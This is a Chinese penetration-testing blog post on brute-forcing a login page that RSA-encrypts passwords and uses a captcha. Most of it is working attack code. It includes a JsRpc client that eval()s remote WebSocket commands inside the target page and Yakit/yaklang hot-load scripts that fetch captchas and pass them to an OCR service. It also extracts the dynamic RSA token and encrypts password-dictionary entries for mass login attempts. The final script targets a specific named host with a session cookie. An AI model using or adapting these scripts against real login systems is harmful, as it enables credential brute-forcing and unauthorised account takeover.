日常渗透中…
场景加载中…

已知RSA,JsRpc注入,下断点
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
 100
 101
 102
 103
 104
 105
 106
 107
 108
 109
 110
 111
 112
 113
 114
 115
 116
 
 | var rpc_client_id, Hlclient = function (wsURL) {this.wsURL = wsURL;
 this.handlers = {
 _execjs: function (resolve, param) {
 var res = eval(param)
 if (!res) {
 resolve("没有返回值")
 } else {
 resolve(res)
 }
 }
 };
 this.socket = undefined;
 if (!wsURL) {
 throw new Error('wsURL can not be empty!!')
 }
 this.connect()
 }
 Hlclient.prototype.connect = function () {
 if (this.wsURL.indexOf("clientId=") === -1 && rpc_client_id) {
 this.wsURL += "&clientId=" + rpc_client_id
 }
 console.log('begin of connect to wsURL: ' + this.wsURL);
 var _this = this;
 try {
 this.socket = new WebSocket(this.wsURL);
 this.socket.onmessage = function (e) {
 _this.handlerRequest(e.data)
 }
 } catch (e) {
 console.log("connection failed,reconnect after 10s");
 setTimeout(function () {
 _this.connect()
 }, 10000)
 }
 this.socket.onclose = function () {
 console.log('rpc已关闭');
 setTimeout(function () {
 _this.connect()
 }, 10000)
 }
 this.socket.addEventListener('open', (event) => {
 console.log("rpc连接成功");
 });
 this.socket.addEventListener('error', (event) => {
 console.error('rpc连接出错,请检查是否打开服务端:', event.error);
 })
 };
 Hlclient.prototype.send = function (msg) {
 this.socket.send(msg)
 }
 Hlclient.prototype.regAction = function (func_name, func) {
 if (typeof func_name !== 'string') {
 throw new Error("an func_name must be string");
 }
 if (typeof func !== 'function') {
 throw new Error("must be function");
 }
 console.log("register func_name: " + func_name);
 this.handlers[func_name] = func;
 return true
 }
 Hlclient.prototype.handlerRequest = function (requestJson) {
 var _this = this;
 try {
 var result = JSON.parse(requestJson)
 } catch (error) {
 console.log("请求信息解析错误", requestJson);
 return
 }
 if (result["registerId"]) {
 rpc_client_id = result['registerId']
 return
 }
 if (!result['action'] || !result["message_id"]) {
 console.warn('没有方法或者消息id,不处理');
 return
 }
 var action = result["action"], message_id = result["message_id"]
 var theHandler = this.handlers[action];
 if (!theHandler) {
 this.sendResult(action, message_id, 'action没找到');
 return
 }
 try {
 if (!result["param"]) {
 theHandler(function (response) {
 _this.sendResult(action, message_id, response);
 })
 return
 }
 var param = result["param"]
 try {
 param = JSON.parse(param)
 } catch (e) {
 }
 theHandler(function (response) {
 _this.sendResult(action, message_id, response);
 }, param)
 } catch (e) {
 console.log("error: " + e);
 _this.sendResult(action, message_id, e);
 }
 }
 Hlclient.prototype.sendResult = function (action, message_id, e) {
 if (typeof e === 'object' && e !== null) {
 try {
 e = JSON.stringify(e)
 } catch (v) {
 console.log(v)
 }
 }
 this.send(JSON.stringify({"action": action, "message_id": message_id, "response_data": e}));
 }
 
 var demo = new Hlclient("ws://127.0.0.1:12080/ws?group=test");
 
 | 
注入在encrypt之前即可

调试得到模数

抓包

劫持到验证码

劫持到key获取响应包,对照获得模数、公钥指数、RSAUUID
| 1
 | 10001,9594cf81071b0b7e0b20d49c0493ec36140a136aa881a11ad7bef37ac2a2870cd75f0a5fc456e722f4712de3ac8bfe44e48b1c03080cd3460573d2bbbc19d3d98971e443e60c2a27eed7cb36e024bbedb789486bdaff184d402aa03dfac3461077ec264d9ad6a7b47e4266e6f9e6fca5f998a719a23ca2361ea8b3b0ccca2d55,9d74bbbe37ff2e79ff6082983b6e78a8
 | 
多次测试发现RSAuuid为动态参数,并且有检查,同时存在验证码检查,无法直接使用python发包测试
考虑yakit热加载并使用序列测试
流程如下
第一个请求包先向验证码接口发包
第一个响应包获取验证码图片->发送到验证码OCR服务得到验证码
第二个请求包向key接口发包
劫持第二个响应包,提取模数、公钥指数(硬编码写入即可)RSAUUID(需要从响应包中提取)
构造第三个请求包 使用RSAencode(热加载),利用公钥对输入(passwd)加密
验证码
接下来开始构造(这里因为代理环境原因,验证码ocr不能正确使用,经过测试也无法完全识别,就留个板子和思路)
这里我用yakit插件市场里的验证码插件改了一点,改成了yaklang形式进行测试
注意这里的请求头是yakit自带靶场里的验证码部分,使用的时候需要修改为目标的请求头
下面最后再放热加载里的
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 
 | captchaRecognizer = func() {
 // 1. 定义HTTP请求模板
 captchaRequest = `GET /verification/code HTTP/1.1
 Host: localhost:8787
 sec-ch-ua-platform: "Windows"
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
 Sec-Fetch-Site: same-origin
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
 Sec-Fetch-Dest: document
 sec-ch-ua-mobile: ?0
 Referer: http://localhost:8787/
 Sec-Fetch-User: ?1
 Accept-Language: zh-CN,zh;q=0.9
 Sec-Fetch-Mode: navigate
 sec-ch-ua: "Chromium";v="136", "Google Chrome";v="136", "Not.A/Brand";v="99"
 Upgrade-Insecure-Requests: 1
 Accept-Encoding: gzip, deflate, br, zstd
 Cookie: YSESSIONID=2x0GhLYHatymPlOkEIuHaLinX7P`
 
 ocrRequest = `POST /reg HTTP/1.1
 Host: 127.0.0.1:8888
 Authorization: Basic f0ngauth`
 
 
 Cookie = poc.GetHTTPPacketHeader(captchaRequest /*type: []byte*/, 'Cookie' /*type: string*/)
 
 // 2. 获取验证码图片
 rsp1, req1 = poc.HTTP(captchaRequest, poc.replaceHeader('Cookie', Cookie))~
 
 // 3. 处理验证码图片
 rawImage = poc.GetHTTPPacketBody(rsp1)
 image = codec.EncodeBase64(rawImage)
 println(image)
 rsp2, req2 = poc.HTTP(ocrRequest, poc.replaceBody(image  /*type: []byte*/, false /*type: bool*/))~
 captcha = poc.GetHTTPPacketBody(rsp2 /*type: []byte*/)
 println("code:",captcha)
 }
 captchaRecognizer()
 
 
 | 
这个接口貌似有点菜,使用yakit自带的靶场进行测试的时候给我整红温了

RSAuuid提取
使用数据提取器提取并加入参数中
正则表达式匹配

该参数可以直接继承,下一个请求包中使用
即可直接调用
RSA
RSA加密的热加载:找了下yaklang官方文档里没有crypto类的相关方法,所以这里先用python生成合适的公钥再扔到热加载里(已知模数和指数不会改变)
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 
 | from Crypto.PublicKey import RSAfrom Crypto.Cipher import PKCS1_OAEP
 import binascii
 import base64
 
 rsaUUID="9d74bbbe37ff2e79ff6082983b6e78a8"
 
 
 modulus_hex = "9594cf81071b0b7e0b20d49c0493ec36140a136aa881a11ad7bef37ac2a2870cd75f0a5fc456e722f4712de3ac8bfe44e48b1c03080cd3460573d2bbbc19d3d98971e443e60c2a27eed7cb36e024bbedb789486bdaff184d402aa03dfac3461077ec264d9ad6a7b47e4266e6f9e6fca5f998a719a23ca2361ea8b3b0ccca2d55"
 
 
 public_exponent_hex = "010001"
 
 
 modulus = int(modulus_hex, 16)
 public_exponent = int(public_exponent_hex, 16)
 
 
 key = RSA.construct((modulus, public_exponent))
 
 
 public_key_pem = key.export_key(format='PEM')
 
 
 print(public_key_pem.decode('utf-8'))
 
 
 public_key_base64 = base64.b64encode(public_key_pem).decode('utf-8')
 
 
 print("Base64格式的公钥:", public_key_base64)
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | RSAencode = func(s) {/*modulesHex= 9594cf81071b0b7e0b20d49c0493ec36140a136aa881a11ad7bef37ac2a2870cd75f0a5fc456e722f4712de3ac8bfe44e48b1c03080cd3460573d2bbbc19d3d98971e443e60c2a27eed7cb36e024bbedb789486bdaff184d402aa03dfac3461077ec264d9ad6a7b47e4266e6f9e6fca5f998a719a23ca2361ea8b3b0ccca2d55*/
 
 /*exponentHex = "010001"*/
 
 publicKey64 = `LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDVmxNK0JCeHNMZmdzZzFKd0VrK3cyRkFvVAphcWlCb1JyWHZ2TjZ3cUtIRE5kZkNsL0VWdWNpOUhFdDQ2eUwva1RraXh3RENBelRSZ1Z6MHJ1OEdkUFppWEhrClErWU1LaWZ1MThzMjRDUzc3YmVKU0d2YS94aE5RQ3FnUGZyRFJoQjM3Q1pObXRhbnRINUNadWI1NXZ5bCtaaW4KR2FJOG9qWWVxTE93ek1vdFZRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==` /* base64格式的publicKey */
 publicKey = codec.DecodeBase64(publicKey64)~
 print("公钥:",publicKey64)
 publicKey = []byte(publicKey)
 
 
 password = s /* 输入 */
 resultList = []
 
 jsonInput = json.dumps(password)
 result = codec.RSAEncryptWithPKCS1v15(publicKey , jsonInput)~
 base64Result = codec.EncodeBase64(result)
 
 return base64Result
 
 }
 
 
 | 
此时在请求包中调用
| 1
 | {{yak(RSAencode({{x(passwd_top)}}))}}
 | 
就可以开爆了
final
这里修改一下序列逻辑,仅采用两个请求包,第一个获得key,第二个请求包利用热加载的beforerequest魔术方法向验证码接口拿验证码再发到OCR接口识别,最后在请求包中直接调用验证码即可
以下是请求包2完整的热加载方法:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 
 | RSAencode = func(s) {/*modulesHex= 9594cf81071b0b7e0b20d49c0493ec36140a136aa881a11ad7bef37ac2a2870cd75f0a5fc456e722f4712de3ac8bfe44e48b1c03080cd3460573d2bbbc19d3d98971e443e60c2a27eed7cb36e024bbedb789486bdaff184d402aa03dfac3461077ec264d9ad6a7b47e4266e6f9e6fca5f998a719a23ca2361ea8b3b0ccca2d55*/
 
 /*exponentHex = "010001"*/
 
 publicKey64 = `LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlHZk1BMEdDU3FHU0liM0RRRUJBUVVBQTRHTkFEQ0JpUUtCZ1FDVmxNK0JCeHNMZmdzZzFKd0VrK3cyRkFvVAphcWlCb1JyWHZ2TjZ3cUtIRE5kZkNsL0VWdWNpOUhFdDQ2eUwva1RraXh3RENBelRSZ1Z6MHJ1OEdkUFppWEhrClErWU1LaWZ1MThzMjRDUzc3YmVKU0d2YS94aE5RQ3FnUGZyRFJoQjM3Q1pObXRhbnRINUNadWI1NXZ5bCtaaW4KR2FJOG9qWWVxTE93ek1vdFZRSURBUUFCCi0tLS0tRU5EIFBVQkxJQyBLRVktLS0tLQ==` /* base64格式的publicKey */
 publicKey = codec.DecodeBase64(publicKey64)~
 print("公钥:",publicKey64)
 publicKey = []byte(publicKey)
 
 
 password = s /* 输入 */
 resultList = []
 
 jsonInput = json.dumps(password)
 result = codec.RSAEncryptWithPKCS1v15(publicKey , jsonInput)~
 base64Result = codec.EncodeBase64(result)
 
 return base64Result
 
 }
 
 beforerequest = func(req) {
 // 1. 定义HTTP请求模板
 captchaRequest = `GET /example/validateImgCode?test=0.21286129382580565 HTTP/1.1
 Host: mboss.acc.gdtel.com
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
 Referer: example.com
 Accept-Encoding: gzip, deflate
 Accept-Language: zh-CN,zh;q=0.9
 Cookie: JSESSIONID=98325FD634522C5A18020149292D935C
 `
 
 ocrRequest = `POST /reg HTTP/1.1
 Host: 127.0.0.1:8888
 Authorization: Basic f0ngauth`
 
 
 Cookie = poc.GetHTTPPacketHeader(captchaRequest /*type: []byte*/, 'Cookie' /*type: string*/)
 
 // 2. 获取验证码图片
 rsp1, req1 = poc.HTTP(captchaRequest, poc.replaceHeader('Cookie', Cookie))~
 
 // 3. 处理验证码图片
 rawImage = poc.GetHTTPPacketBody(rsp1)
 image = codec.EncodeBase64(rawImage)
 println(image)
 rsp2, req2 = poc.HTTP(ocrRequest, poc.replaceBody(image  /*type: []byte*/, false /*type: bool*/))~
 captcha = poc.GetHTTPPacketBody(rsp2 /*type: []byte*/)
 println("code:",captcha)
 
 req = str.ReplaceAll(string(req) /*type: string*/, "__captcha__" /*type: string*/, string(captcha) /*type: string*/)
 return []byte(req)
 
 }
 
 
 
 | 
最终的请求包如下:

这里因为内网环境要走53008端口,流量从这里出不知道为什么走不回ocr服务的端口了,就没有测试结果。